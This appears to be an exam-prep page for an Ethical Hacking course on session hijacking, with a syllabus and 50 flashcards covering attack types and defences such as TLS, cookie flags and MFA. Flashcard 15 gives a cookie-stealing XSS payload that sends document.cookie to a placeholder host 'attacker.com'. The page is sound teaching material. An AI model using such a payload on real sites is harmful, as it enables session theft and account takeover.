Examius

🌍 Ethical Hacking · subject

Ethical Hacking Session Hijacking Syllabus

The Session Hijacking syllabus for Ethical Hacking in full: 3 chapters and 9 topics, every one listed below, plus 50 Session Hijacking flashcards with answers.

3Chapters
9Topics
50Flashcards

Session Hijacking syllabus: all 3 chapters

Expand any chapter to see its topics and sub-topics.

  1. Session Hijacking Concepts

     3 topics
    • What is Session Hijacking?
    • Types of Session Hijacking
    • Session Hijacking Process

  2. Session Hijacking Techniques

     3 topics
    • IP Spoofing
    • Cross-site Scripting (XSS)
    • Man-in-the-Middle (MitM) Attacks

  3. Countermeasures

     3 topics
    • Session Encryption
    • Secure Cookie Handling
    • Multi-factor Authentication

Ethical Hacking Session Hijacking flashcards — 50 questions with answers

  1. What is session hijacking?

    Session hijacking is an attack in which an adversary takes over a valid, already-established session between a user and a server—typically by stealing or predicting the session token/ID—to impersonate the legitimate user and gain unauthorized access without needing their credentials.

  2. What is a session ID (session token) and why is it a target in session hijacking?

    A session ID is a unique identifier the server issues after authentication to track a user's session (often stored in a cookie). It is a target because possessing a valid session ID lets an attacker be treated as the authenticated user, bypassing the login step entirely.

  3. Why is session hijacking often more dangerous than password theft alone?

    A hijacked session bypasses authentication controls entirely—including multi-factor authentication that was already satisfied at login—so the attacker inherits the user's authenticated state without ever needing the password or second factor.

  4. Distinguish the two main types of session hijacking: active vs passive.

    Active hijacking: the attacker takes over the session, often kicking the legitimate user off or injecting commands, actively interacting with the server. Passive hijacking: the attacker silently monitors and records traffic (eavesdropping) to capture session data without altering the session.

  5. Distinguish network-level from application-level session hijacking.

    Network-level hijacking targets the transport (TCP/IP) session—e.g., TCP sequence prediction, IP spoofing, packet sniffing. Application-level hijacking targets the session token at the app layer (HTTP)—e.g., stealing cookies via XSS, session fixation, or predicting session IDs.

  6. List the general phases of the session hijacking process.

    1) Sniff/monitor traffic between victim and server; 2) Track the active session and identify the session ID; 3) Predict or steal the session token; 4) Desynchronize/take over the connection (may reset the victim); 5) Inject commands or act as the authenticated user.

  7. In network-level hijacking, why does the attacker need to predict the TCP sequence number?

    TCP uses sequence numbers to order packets and validate that a packet belongs to the session. To inject packets that the server accepts as legitimate, the attacker must supply the correct next sequence number; otherwise the packets are discarded as out-of-window.

  8. What is session desynchronization in a TCP hijacking attack?

    It is the state where the server's and client's expected sequence numbers no longer match. The attacker forces desynchronization so the legitimate client's packets are ignored, and the attacker's injected packets (with the correct sequence numbers) are accepted in its place.

  9. What is an ACK storm, and when does it occur in session hijacking?

    An ACK storm is a flood of acknowledgment packets that occurs when the attacker's injected data desynchronizes the connection: the server and legitimate client keep sending ACKs trying to resynchronize sequence numbers, generating a loop of ACK traffic.

  10. What is IP spoofing?

    IP spoofing is forging the source IP address in packet headers so that packets appear to originate from a trusted or different host, used to impersonate another machine, bypass IP-based access controls, or hijack a TCP session.

  11. Why is blind IP spoofing hard against modern TCP stacks?

    Because the attacker cannot see the server's responses (they go to the spoofed IP), they must correctly guess the Initial Sequence Number (ISN). Modern stacks use randomized ISNs, making the sequence number effectively unpredictable and blind injection impractical.

  12. How does IP spoofing enable a man-in-the-middle position combined with a desync attack?

    By spoofing the victim's IP and silencing the real victim (e.g., via a SYN flood or ARP manipulation), the attacker sends packets that appear to come from the victim, allowing the server to continue the session with the attacker as if it were the original host.

  13. What is Cross-Site Scripting (XSS) in the context of session hijacking?

    XSS is a web vulnerability where an attacker injects malicious script into a page viewed by other users; the script runs in the victim's browser and can read the session cookie (e.g., via document.cookie) and exfiltrate it to the attacker, enabling session hijacking.

  14. Name the three main types of XSS.

    Stored (persistent) XSS—payload saved on the server and served to victims; Reflected XSS—payload echoed back in an immediate response from a crafted request/link; DOM-based XSS—vulnerability in client-side JavaScript that manipulates the DOM using untrusted input.

  15. Give a classic XSS payload used to steal a session cookie.

    A script such as `<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>` (or using fetch/XMLHttpRequest) reads document.cookie and sends the session ID to the attacker's server.

  16. Which cookie flag defeats cookie theft via XSS, and how?

    The HttpOnly flag: it prevents client-side JavaScript from accessing the cookie via document.cookie, so even if XSS executes, the script cannot read the session cookie to exfiltrate it.

  17. What is a Man-in-the-Middle (MitM) attack?

    A MitM attack is one where the attacker secretly positions themselves between two communicating parties, intercepting (and possibly altering) the traffic while both parties believe they are communicating directly and securely with each other.

  18. How does a MitM attack facilitate session hijacking?

    By intercepting traffic, the attacker can read unencrypted session tokens/cookies as they pass, or strip/downgrade encryption, capturing the session ID to then impersonate the victim's authenticated session.

  19. What is ARP spoofing (ARP poisoning) and its role in MitM?

    ARP spoofing sends forged ARP replies on a LAN to map the attacker's MAC address to another host's IP (e.g., the gateway), causing victim traffic to route through the attacker—establishing a man-in-the-middle position for sniffing or hijacking sessions.

  20. What is SSL stripping in a MitM attack?

    SSL stripping is a MitM technique where the attacker downgrades a victim's HTTPS connection to plain HTTP—maintaining HTTPS only between attacker and server—so the victim's traffic, including session cookies, is transmitted in cleartext and can be captured.

Show the other 30 Session Hijacking flashcards

  1. What is session encryption and how does it prevent hijacking?

    Session encryption (e.g., TLS/HTTPS) encrypts the entire communication channel, including session tokens in transit, so an eavesdropper who sniffs the traffic sees only ciphertext and cannot read or reuse the session ID.

  2. What role does TLS/HTTPS play in preventing passive session hijacking?

    TLS provides confidentiality (encryption), integrity, and authentication of the server, so passive sniffers cannot read session cookies in transit and MitM tampering is detectable—defeating eavesdropping-based capture of session tokens.

  3. What is the Secure cookie flag and what does it protect against?

    The Secure flag instructs the browser to send the cookie only over encrypted HTTPS connections, never over plain HTTP. It prevents the session cookie from being transmitted in cleartext where a network sniffer or MitM could capture it.

  4. Compare the HttpOnly and Secure cookie flags.

    HttpOnly blocks client-side script (JavaScript) access to the cookie, defending against XSS-based theft. Secure restricts transmission to HTTPS only, defending against network sniffing/MitM. They address different attack vectors and should be used together.

  5. What does the SameSite cookie attribute do, and what attack does it primarily mitigate?

    SameSite controls whether cookies are sent on cross-site requests (Strict, Lax, or None). It primarily mitigates Cross-Site Request Forgery (CSRF) by preventing the browser from attaching the session cookie to requests originating from other sites.

  6. Contrast SameSite=Strict, SameSite=Lax, and SameSite=None.

    Strict: cookie never sent on any cross-site request. Lax: cookie sent on top-level navigations (e.g., clicking a link) but not on cross-site subrequests. None: cookie sent on all cross-site requests but must be paired with the Secure flag.

  7. What is Multi-Factor Authentication (MFA)?

    MFA is an authentication method requiring two or more independent verification factors from different categories—something you know (password), something you have (token/phone), and something you are (biometric)—so a compromise of one factor alone is insufficient to authenticate.

  8. List the three standard authentication factor categories used in MFA.

    Knowledge factor (something you know—password, PIN); Possession factor (something you have—hardware token, phone/OTP app, smart card); Inherence factor (something you are—fingerprint, face, iris, or other biometric).

  9. Does MFA prevent session hijacking after login? Explain.

    Not by itself. MFA protects the authentication step, but once a session token is issued, a hijacked token bypasses MFA. Defenses like short session lifetimes, re-authentication for sensitive actions, and token binding are needed to limit post-login hijacking.

  10. What is session fixation, and how does it differ from session hijacking by theft?

    In session fixation, the attacker sets or supplies a known session ID to the victim before login; when the victim authenticates, that ID becomes authenticated and the attacker reuses it. Unlike theft, the attacker plants a token in advance rather than stealing one afterward.

  11. What is the primary defense against session fixation?

    Regenerate (rotate) the session ID upon privilege change—especially immediately after successful login—so any pre-authentication ID an attacker planted becomes invalid and cannot be reused.

  12. Why should session IDs be long and cryptographically random?

    To resist brute-force guessing and prediction attacks. High entropy (a large, unpredictable keyspace) makes it computationally infeasible for an attacker to guess a valid active session ID.

  13. If a session ID has $n$ bits of entropy, how many possible values exist, and what does that imply for guessing?

    There are $2^{n}$ possible values. An attacker's expected number of guesses to hit a valid one is on the order of $\frac{2^{n}}{A}$ where $A$ is the number of currently active sessions, so large $n$ with sparse active sessions makes guessing infeasible.

  14. How does session timeout (idle and absolute) reduce hijacking risk?

    Idle timeout invalidates a session after a period of inactivity; absolute timeout caps total session lifetime regardless of activity. Both shrink the window during which a stolen token remains valid, limiting how long an attacker can exploit it.

  15. What is token binding as a defense against session hijacking?

    Token binding cryptographically ties the session token to properties of the client's TLS connection (or a client key). A stolen token cannot be replayed from a different connection because it is bound to the original client's cryptographic context.

  16. How can binding a session to client attributes (IP, user-agent) help detect hijacking, and what is its limitation?

    If the session's IP address or user-agent suddenly changes mid-session, the server can flag or invalidate it as potential hijacking. Limitation: legitimate users' IPs change (mobile networks, proxies), causing false positives, and attributes can be spoofed—so it is a supplementary, not sole, defense.

  17. What is a replay attack in the session context, and what mitigates it?

    A replay attack captures a valid token or request and resubmits it to gain access. Mitigations include short-lived tokens, nonces, timestamps, sequence numbers, and TLS, which prevent reuse of intercepted authentication data.

  18. Why is regenerating the session ID after login (session renewal) an important control?

    It ensures the authenticated session uses a fresh, server-generated ID unknown to attackers, defeating session fixation and invalidating any pre-login token that may have been observed or set by an adversary.

  19. What is the difference between session hijacking and Cross-Site Request Forgery (CSRF)?

    Session hijacking steals or takes over the session token to impersonate the user directly. CSRF does not steal the token—it tricks the victim's browser into sending an authenticated request (with its cookie automatically attached) to perform an unwanted action.

  20. Name common tools used to demonstrate/perform session hijacking or the sniffing that enables it.

    Examples include Wireshark and tcpdump (packet sniffing), Ettercap and Bettercap (ARP spoofing/MitM), Cain & Abel, Hamster/Ferret, and browser tools like the historical Firesheep for capturing session cookies on open networks.

  21. Why are open/public Wi-Fi networks especially risky for session hijacking?

    On unencrypted or shared wireless networks, any participant can sniff traffic. If a site transmits session cookies over HTTP (unencrypted), an attacker on the same network can capture and reuse them—historically demonstrated by tools like Firesheep.

  22. How does end-to-end HTTPS with HSTS defend against MitM/SSL-stripping session hijacking?

    HTTPS encrypts session data in transit; HTTP Strict Transport Security (HSTS) forces the browser to use HTTPS only and refuse HTTP downgrades, preventing SSL-stripping attacks that would otherwise expose session cookies in cleartext.

  23. What is the security purpose of the __Host- cookie name prefix?

    The __Host- prefix requires the cookie to be set with the Secure flag, no Domain attribute (host-only), and Path=/. Browsers reject cookies with this prefix that violate those rules, hardening session cookies against being overwritten or scoped insecurely by subdomains.

  24. Explain the general concept of TCP sequence number prediction as an attack.

    An attacker guesses the next sequence and acknowledgment numbers of an established TCP connection to inject forged packets the endpoints will accept. If ISNs are predictable, the attacker can hijack or spoof the connection; randomized ISNs largely defeat this.

  25. What is the defense-in-depth relationship between encryption, secure cookies, and MFA against session hijacking?

    Encryption (TLS) protects tokens in transit; secure cookie flags (HttpOnly, Secure, SameSite) protect tokens at the browser from theft and misuse; MFA strengthens the initial authentication. Layered together they close multiple attack vectors—no single control is sufficient alone.

  26. Why is logging out (session invalidation) an important defense, and what must the server do?

    Logout should invalidate the session server-side, not just delete the client cookie. If the server keeps the token valid, a previously stolen token still works. Proper logout destroys the server-side session record, immediately revoking any hijacked copy.

  27. How does XSS bypass the Same-Origin Policy to steal session cookies?

    XSS injects script that runs within the victim site's own origin, so it is not blocked by the Same-Origin Policy—it has legitimate access to the page's DOM and (unless HttpOnly is set) its cookies, which it then sends to an attacker-controlled origin.

  28. What distinguishes a passive MitM from an active MitM attack?

    Passive MitM only eavesdrops on and records traffic without modifying it (confidentiality breach). Active MitM alters, injects, or blocks traffic—e.g., changing requests, stripping SSL, or injecting content—affecting integrity and enabling direct session takeover.

  29. How does re-authentication for sensitive operations mitigate the impact of a hijacked session?

    Even if an attacker holds a valid session token, requiring a fresh credential or MFA prompt (step-up authentication) before high-risk actions—like changing a password or transferring funds—prevents the hijacker from completing the most damaging operations.

  30. Summarize the core countermeasures against session hijacking a student should memorize.

    Use HTTPS/TLS everywhere with HSTS; set cookies with HttpOnly, Secure, and SameSite flags; generate long, random session IDs; regenerate IDs after login; enforce idle and absolute timeouts; invalidate sessions on logout; prevent XSS (input validation/output encoding, CSP); use token binding; and apply MFA plus step-up re-authentication.

Ethical Hacking Session Hijacking FAQ

What is in the Ethical Hacking Session Hijacking syllabus?

Ethical Hacking Session Hijacking is split into 3 chapters: Session Hijacking Concepts, Session Hijacking Techniques and Countermeasures. Together they contain 9 topics.

How many chapters are in Ethical Hacking Session Hijacking?

3 chapters, containing 9 topics. The largest chapter is Session Hijacking Concepts, with 3 topics.

Are there flashcards for Ethical Hacking Session Hijacking?

Yes — a 50-card Session Hijacking deck, printed in full in the flashcards section of this page and available in the Examius app with spaced repetition. The free plan covers one exam of your choice, including its flashcards; Examius Pro, a one-time purchase, unlocks every other exam and deck.